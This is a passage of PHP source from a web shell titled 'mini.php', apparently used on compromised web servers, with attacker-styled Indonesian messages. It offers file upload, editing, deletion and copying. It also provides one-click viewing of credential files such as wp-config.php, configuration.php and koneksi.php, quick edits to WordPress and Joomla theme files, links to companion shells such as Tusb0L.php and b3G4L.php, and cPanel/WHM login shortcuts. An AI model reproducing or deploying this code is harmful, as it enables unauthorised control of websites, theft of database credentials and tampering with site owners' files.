1044 <td colspan="' . ($cols - 1) . '">
1045 <input type="hidden" name="num" value="' . sizeof($list) . '" />
1046 <input type="hidden" name="focus" value="" />
1047 <input type="hidden" name="olddir" value="' . html($directory) . '" />
1048';
1049
1050 $actions = array();
1051 if (@is_writable(dirname($file['path']))) {
1052 $actions[] = 'delete';
1053 $actions[] = 'move';
1054 }
1055 $actions[] = 'copy';
1056
1057 echo ' <select class="small" name="action_all" size="1">
1058 <option value="">' . str_repeat(' ', 30) . '</option>
1059';
1060
1061 foreach ($actions as $action) {
1062 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1063 }
1064
1065 echo ' </select>
1066 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
1067 </td>
1068</tr>
1069';
1070
1071}
1072
1073function column_title ($column, $sort, $reverse) {
1074 global $self, $directory;
1075
1076 $d = 'dir=' . urlencode($directory) . '&';
1077
1078 $arr = '';
1079 if ($sort == $column) {
1080 if (!$reverse) {
1081 $r = '&reverse=true';
1082 $arr = ' ∧';
1083 } else {
1084 $arr = ' ∨';
1085 }
1086 } else {
1087 $r = '';
1088 }
1089 echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
1090
1091}
1092
1093function directory_choice () {
1094 global $directory, $homedir, $cols, $self;
1095 $domain_http = "http://".$_SERVER['SERVER_NAME']."";
1096 $domain_https = "https://".$_SERVER['SERVER_NAME']."";
1097 echo '<tr>
1098 <td colspan="' . $cols . '" id="directory">
1099 <input class="dir" type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1100 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" /><br/>
1101
1102 </td>
1103</tr>';
1104$cari_shell = array('mini.php','incl.php');
1105$cari_incl_php = array('mini.php');
1106$ganti_ex_php = array('ex.php');
1107$ganti_Tusb0L = array('Tusb0L.php');
1108$ganti_sql_php = array('sql.php');
1109$ganti_incl_php = array('incl.php');
1110$ganti_mini_php = array('mini.php');
1111$ganti_b3G4L_php = array('b3G4L.php');
1112$ganti_lapak_php = array('lapak.php');
1113$ganti_rr2_php = array('rr2.php');
1114$ganti_zip_php = array('zip.php');
1115$ganti_b3nd0L_php = array('b3nd0L.php');
1116
1117$Tusb0L = str_replace($cari_shell,$ganti_Tusb0L,$self);
1118$sql_php = str_replace($cari_shell,$ganti_sql_php,$self);
1119$incl_php = str_replace($cari_incl_php,$ganti_incl_php,$self);
1120$mini_php = str_replace($cari_shell,$ganti_mini_php,$self);
1121$ex_php = str_replace($cari_shell,$ganti_ex_php,$self);
1122$b3G4L_php = str_replace($cari_shell,$ganti_b3G4L_php,$self);
1123$lapak_php = str_replace($cari_shell,$ganti_lapak_php,$self);
1124$rr2_php = str_replace($cari_shell,$ganti_rr2_php,$self);
1125$zip_php = str_replace($cari_shell,$ganti_zip_php,$self);
1126$b3nd0L_php = str_replace($cari_shell,$ganti_b3nd0L_php,$self);
1127$filter = Array(
1128'/' => '',
1129'home' => '',
1130'public_html' => ''
1131);
1132$get_username = str_replace(array_keys($filter), $filter, $directory);
1133echo '<tr>
1134 <td colspan="' . $cols . '" id="directory"><center>
1135<a target="_blank" href="' . $self . '?dir=' . urlencode($homedir) . '" style="color:#fbfe06;" class="mymenu">' . word('directory') . '</a> <span style="color:white;">→</span>
1136<a target="_blank" href="' . $self . '?dir=' . dirname($_SERVER['SCRIPT_FILENAME']) . '/" style="color:#fbfe06;" class="mymenu">shell</a> <span style="color:white;">→</span>
1137<a target="_blank" href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/wp-content/themes/" style="color:#fbfe06;" class="mymenu">wpThemes</a> <span style="color:white;">→</span>
1138<a target="_blank" href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/templates/" style="color:#fbfe06;" class="mymenu">JoomlaThemes</a> <span style="color:white;">→</span>
1139<a target="_blank" href="' . $self . '?action=view&file=' . $_SERVER['DOCUMENT_ROOT'] . '/wp-config.php" style="color:lime;" class="mymenu">wp-config.php</a> <span style="color:white;">→</span>
1140<a target="_blank" href="' . $self . '?action=view&file=' . $_SERVER['DOCUMENT_ROOT'] . '/configuration.php" style="color:lime;" class="mymenu">configuration.php</a> <span style="color:white;">→</span>
1141<a href="' . $self . '?action=download&file=' . html($directory) . 'functions.php" style="color:#fbfe06;" class="mymenu">functions.php</a>
1142<a target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'functions.php" style="color:white;" class="mymenu">Edit</a>
1143<br/>
1144<a href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/page/" style="color:#d792ff;" class="mymenu">/page/</a> <span style="color:white;">→</span>
1145<a href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/entries/" style="color:#d792ff;" class="mymenu">/entries/</a> <span style="color:white;">→</span>
1146
1147<a href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/p/" style="color:#d792ff;" class="mymenu">/p/</a> <span style="color:white;">→</span>
1148<a href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/ping/" style="color:#d792ff;" class="mymenu">/ping/</a> <span style="color:white;">→</span>
1149
1150
1151
1152<a href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/2015/" style="color:#d792ff;" class="mymenu">/wp-content/uploads/2015/</a> <span style="color:white;">→</span>
1153<a href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/2015/ping/" style="color:#d792ff;" class="mymenu">/wp-content/uploads/2015/ping/</a> <span style="color:white;">→</span>
1154
1155<a href="' . $self . '?dir=' . $_SERVER['DOCUMENT_ROOT'] . '/wp-content/entries/" style="color:#d792ff;" class="mymenu">/wp-content/entries/</a>
1156
1157
1158
1159
1160<br/>
1161<a href="' . $self . '?action=download&file=' . html($directory) . 'header.php" style="color:#fbfe06;" class="mymenu">header.php</a>
1162<a target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'header.php" style="color:white;" class="mymenu">Edit</a>
1163
1164<a href="' . $self . '?action=download&file=' . html($directory) . 'footer.php" style="color:#fbfe06;" class="mymenu">footer.php</a>
1165<a target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'footer.php" style="color:white;" class="mymenu">Edit</a>
1166
1167<a href="' . $self . '?action=download&file=' . html($directory) . 'functions.php" style="color:#fbfe06;" class="mymenu">functions.php</a>
1168<a target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'functions.php" style="color:white;" class="mymenu">Edit</a>
1169
1170<a href="' . $self . '?action=download&file=' . html($directory) . 'sidebarkanan.php" style="color:#fbfe06;" class="mymenu">sidebarkanan.php</a>
1171<a target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'sidebarkanan.php" style="color:white;" class="mymenu">Edit</a>
1172
1173<a href="' . $self . '?action=download&file=' . html($directory) . 'index.php" style="color:#fbfe06;" class="mymenu">index.php</a>
1174<a target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'index.php" style="color:white;" class="mymenu">Edit</a>
1175
1176<a href="' . $self . '?action=download&file=' . html($directory) . 'template.php" style="color:#fbfe06;" class="mymenu">template.php</a>
1177<a target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'template.php" style="color:white;" class="mymenu">Edit</a>
1178
1179<a href="' . $self . '?action=download&file=' . html($directory) . 'default.php" style="color:#fbfe06;" class="mymenu">default.php</a>
1180<a target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'default.php" style="color:white;" class="mymenu">Edit</a>
1181<br>
1182<!-- ' . $get_username . ' -->
1183<a target="_blank" href="' . $self . '?action=view&file=' . html($directory) . 'wp-config.php" style="color:#fbfe06;" class="mymenu">wp-config.php</a>
1184<a target="_blank" target="_blank" href="' . $self . '?action=view&file=' . html($directory) . 'wp-config.php" style="color:white;" class="mymenu">Edit</a>
1185
1186<a target="_blank" href="' . $self . '?action=view&file=' . html($directory) . 'configuration.php" style="color:#fbfe06;" class="mymenu">configuration.php</a>
1187<a target="_blank" target="_blank" href="' . $self . '?action=view&file=' . html($directory) . 'configuration.php" style="color:white;" class="mymenu">Edit</a>
1188
1189<a target="_blank" href="' . $self . '?action=view&file=' . html($directory) . 'config.php" style="color:#fbfe06;" class="mymenu">config.php</a>
1190<a target="_blank" target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'config.php" style="color:white;" class="mymenu">Edit</a>
1191
1192<a target="_blank" href="' . $self . '?action=view&file=' . html($directory) . 'database.php" style="color:#fbfe06;" class="mymenu">database.php</a>
1193<a target="_blank" target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'database.php" style="color:white;" class="mymenu">Edit</a>
1194
1195<a target="_blank" href="' . $self . '?action=view&file=' . html($directory) . 'koneksi.php" style="color:#fbfe06;" class="mymenu">koneksi.php</a>
1196<a target="_blank" target="_blank" href="' . $self . '?action=edit&file=' . html($directory) . 'koneksi.php" style="color:white;" class="mymenu">Edit</a>
1197
1198
1199
1200
1201
1202
1203<br/>
1204<a target="_blank" href="' . $Tusb0L . '" style="color:#fbfe06;font-size:18px;" class="mymenu">Tusb0L.php</a> <span style="color:white;">→</span>
1205<a target="_blank" href="' . $incl_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">incl.php</a> <span style="color:white;">→</span>
1206<a target="_blank" href="' . $mini_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">mini.php</a> <span style="color:white;">→</span>
1207<a target="_blank" href="' . $sql_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">sql.php</a> <span style="color:white;">→</span>
1208<a target="_blank" href="' . $ex_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">ex.php</a> <span style="color:white;">→</span>
1209<a target="_blank" href="' . $b3G4L_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">b3G4L.php</a> <span style="color:white;">→</span>
1210<a target="_blank" href="' . $lapak_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">lapak.php</a> <span style="color:white;">→</span>
1211<a target="_blank" href="' . $rr2_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">rr2.php</a> <span style="color:white;">→</span>
1212<a target="_blank" href="' . str_replace($cari_shell,"ws.php",$self) . '" style="color:#fbfe06;font-size:18px;" class="mymenu">ws.php</a> <span style="color:white;">→</span>
1213<a target="_blank" href="' . str_replace($cari_shell,"del.php",$self) . '" style="color:#fbfe06;font-size:18px;" class="mymenu">del.php</a> <span style="color:white;">→</span>
1214<a target="_blank" href="' . $zip_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">zip.php</a> <span style="color:white;">→</span>
1215<a target="_blank" href="' . $b3nd0L_php . '" style="color:#fbfe06;font-size:18px;" class="mymenu">b3nd0L.php</a>
1216<br/>
1217<a target="_blank" href="' . $domain_http . ':2082" style="color:#ffffff;font-size:18px;" class="mymenu">Login Cpanel <span style="font-size:13px;color:lime;"><i>(2082)</i></span></a>
1218<span style="color:white;">→</span>
1219
1220<a target="_blank" href="' . $domain_https . ':2083" style="color:#ffffff;font-size:18px;" class="mymenu">Login Cpanel <span style="font-size:13px;color:lime;"><i>(2083)</i></span></a>
1221<span style="color:white;">→</span>
1222
1223<a target="_blank" href="' . $domain_http . ':2086" style="color:#ffffff;font-size:18px;" class="mymenu">Login WHM <span style="font-size:13px;color:lime;"><i>(2086)</i></span></a>
1224<span style="color:white;">→</span>
1225
1226<a target="_blank" href="' . $domain_https . ':2087" style="color:#ffffff;font-size:18px;" class="mymenu">Login WHM <span style="font-size:13px;color:lime;"><i>(2087)</i></span></a>
1227</center>
1228 </td>
1229</tr>';
1230
1231}
1232
1233function upload_box () {
1234 global $cols,$directory;
1235 echo '<tr>
1236 <td colspan="' . $cols . '" id="directory">
1237 <input type="file" name="upload" onfocus="activate(\'other\')" />
1238 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" /> <br/>
1239
1240 <input type="file" name="files[]" multiple="multiple"> <input type="submit" name="MultiUp" value="MultiUp">
1241 <input type="text" name="lokasi_dir" value="' . html($directory) . '" onfocus="activate(\'directory\')" style="width:60%;">
1242
1243 <input type="submit" name="MultiUp" value="MultiUp">
1244 </td>
1245</tr>
1246';
1247
1248}
1249
1250function create_box () {
1251 global $cols;
1252 $domain = $_SERVER['SERVER_NAME'];
1253 $servername=gethostname();
1254
1255 $web_url = 'http://' . $domain . '';
1256 echo '<tr>
1257 <td colspan="' . $cols . '" id="directory">
1258 <select name="create_type" size="1" onfocus="activate(\'create\')">
1259 <option value="directory">Folder</option>
1260 <option value="file">File</option>
1261 </select>
1262 <input type="text" name="create_name" onfocus="activate(\'create\')" style="width:100px;" />
1263 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1264 <span style="color:white;font-size:16px;"><a href="http://' . $domain . '" target="_blank">→</a></span>
1265 <input type="text" value="' . $domain . '" style="width:300px;"> <font color=white>→</font>
1266 <input type="text" value="' . $servername . '" style="width:350px;">
1267 </td>
1268</tr>
1269';
1270}
1271
1272function edit ($file) {
1273 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1274
1275 html_header();
1276
1277 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1278
1279<form action="' . $self . '" method="post">
1280
1281<table class="dialog">
1282<tr>
1283<td class="dialog">
1284
1285 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1286
1287 if (array_key_exists('content', $_POST)) {
1288 echo $_POST['content'];
1289 } else {
1290 $f = fopen($file, 'r');
1291 while (!feof($f)) {
1292 echo html(fread($f, 8192));
1293 }
1294 fclose($f);
1295 }
1296
1297 if (!empty($_POST['user'])) {
1298 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1299 }
1300 if (!empty($_POST['basic_auth'])) {
1301 if ($win) {
1302 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1303 } else {
1304 $authfile = $directory . $htpasswd;
1305 }
1306 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
1307 echo 'AuthUserFile "' . html($authfile) . ""\n";
1308 echo 'Require valid-user';
1309 }
1310
1311 echo '</textarea>
1312
1313 <hr />
1314';
1315
1316 if ($apache && basename($file) == $htpasswd) {
1317 echo '
1318 ' . word('user') . ': <input type="text" name="user" />
1319 ' . word('password') . ': <input type="password" name="password" />
1320 <input type="submit" value="' . word('add') . '" />
1321
1322 <hr />
1323';
1324
1325 }
1326
1327 if ($apache && basename($file) == $htaccess) {
1328 echo '
1329 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1330
1331 <hr />
1332';
1333
1334 }
1335
1336 echo '
1337 <input type="hidden" name="action" value="edit" />
1338 <input type="hidden" name="file" value="' . html($file) . '" />
1339 <input type="hidden" name="dir" value="' . html($directory) . '" />
1340 <input type="reset" value="' . word('reset') . '" id="red_button" />
1341 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1342
1343</td>
1344</tr>
1345</table>
1346
1347<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1348
1349</form>
1350
1351';
1352
1353 html_footer();
1354
1355}
1356
1357function spacer () {
1358 global $cols;
1359
1360 echo '<tr>
1361 <td colspan="' . $cols . '" style="height: 1em"></td>
1362</tr>
1363';
1364
1365}
1366
1367function textfieldsize ($content) { $size = strlen($content) + 5; if ($size < 30) $size = 30; return $size; }
1368function request_dump () { foreach ($_REQUEST as $key => $value) { echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n"; } }
1369function html ($string) { global $site_charset; return htmlentities($string, ENT_COMPAT, $site_charset); }
1370function word ($word) { global $words, $word_charset; return htmlentities($words[$word], ENT_COMPAT, $word_charset); }
1371function phrase ($phrase, $arguments) { global $words; static $search; if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i"; for ($i = 0; $i < sizeof($arguments); $i++) { $arguments[$i] = nl2br(html($arguments[$i])); } $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>'); return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase])))); }
1372
1373function getwords ($lang) {
1374global $date_format, $word_charset; $word_charset = 'UTF-8';
1375switch ($lang) {
1376case 'en':
1377default:
1378$date_format = 'n/j/y H:i:s';
1379return array('directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'Upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" Berhasil di Tusb0L.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Yakin ingin di Delete Bos ??', 'deleted' => "Berhasil di Delete\n[%1]", 'not_deleted' => "These files could not be deleted:\n[%1]", 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => "These files have been moved to \"[%2]\":\n[%1]", 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]", 'copy_files' => 'Copy these files:', 'copied' => "These files have been copied to \"[%2]\":\n[%1]", 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" can not be edited.', 'executed' => "\"[%1]\" has been executed successfully:\n{%2}", 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}", 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.' ); } }
1380
1381function getimage ($image) {
1382 switch ($image) {
1383 case 'file':
1384 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
1385 case 'folder':
1386 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
1387 case 'hidden_file':
1388 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
1389 case 'link':
1390 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
1391 case 'smiley':
1392 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
1393 case 'arrow':
1394 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
1395 }
1396}
1397
1398function html_header () {
1399 echo <<<END
1400<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
1401 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1402<html xmlns="http://www.w3.org/1999/xhtml">
1403<head>
1404<meta http-equiv="Content-Type" content="text/html; charset="utf8" />
1405<title>mini.php [ v.0.1b ]</title>
1406<style type="text/css">body { font: normal 14px auto "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif; text-align: center; background-color: #000;width:80%;margin:0 auto; color:#00aed9;} img { width: 17px; height: 13px } a, a:visited { text-decoration: none; color: #00aed9; } hr { border-style: none; height: 1px; background-color: lime; } #main { width:100%; margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px } #main th { background: #ff6c00; padding: 3pt 3pt 0pt 3pt } .dir { width:90%; } .listing th, .listing td { padding: 1px 3pt 0 3pt } .listing th { border: 1px solid #602a02; } .listing td { border: 1px solid #602a02; background: #000; } .listing .checkbox { text-align: center } .listing .filename { text-align: left } .listing .size { text-align: right } .listing th.permission { text-align: left } .listing td.permission { font-family: monospace } .listing .owner { text-align: left } .listing .group { text-align: left } .listing .functions { text-align: left } .listing_footer td { background: #ff6c00; border: 1px solid silver } #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; font-size: 14px; } #directory { background: #000; border: 3px solid #602a02; color:#00aed9;} .mymenu {font-size:16px;font-weight:bold;text-shadow:1px 1px 1px #000;} input[type=submit],input[type=text],input[type=reset],select { background:#ffebdd; border:0 none; -webkit-border-radius: 2px; border-radius: 1px; font-size:14px; font-weight:bold; height:20px; color:#00aed9; } #upload { padding-top: 1em } #create { padding-bottom: 1em } .small, .small option { font-size: x-small } textarea { border: none; background: #00aed9; } table.dialog { margin-left: auto; margin-right: auto } td.dialog { padding: 1ex; border: 2px solid #ff6c00; text-align: center } #permission { margin-left: auto; margin-right: auto } #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center } td.permission_action { text-align: right } #symlink { background: #ff6c00; border: 1px solid silver } #symlink td { text-align: left; padding: 3pt } #red_button { width: 120px; color: #400 } #green_button { width: 120px; color: #040 } #error td { background: maroon; color: white; border: 3px solid #602a02; } #notice td { background: green; color: white; border: 3px solid #602a02; } #notice pre, #error pre { background: silver; color: lime; padding: 1ex; margin-left: 1ex; margin-right: 1ex } code { font-size: 12pt } td { white-space: nowrap }</style>
1407
1408<script type="text/javascript">
1409<!--
1410function activate (name) {
1411 if (document && document.forms[0] && document.forms[0].elements['focus']) {
1412 document.forms[0].elements['focus'].value = name;
1413 }
1414}
1415//-->
1416</script>
1417</head>
1418<body>
1419END;
1420
1421}
1422
1423function html_footer () {
1424echo <<<END
1425</body>
1426</html>
1427END;
1428}
1429
1430function notice ($phrase) { global $cols; $args = func_get_args(); array_shift($args); return '<tr> <td colspan="' . $cols . '" id="directory" style="color:lime;"> ' . phrase($phrase, $args) . ' </td> </tr> '; }
1431function error ($phrase) { global $cols; $args = func_get_args(); array_shift($args); return '<tr id="error"> <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td> </tr> '; }
1432?>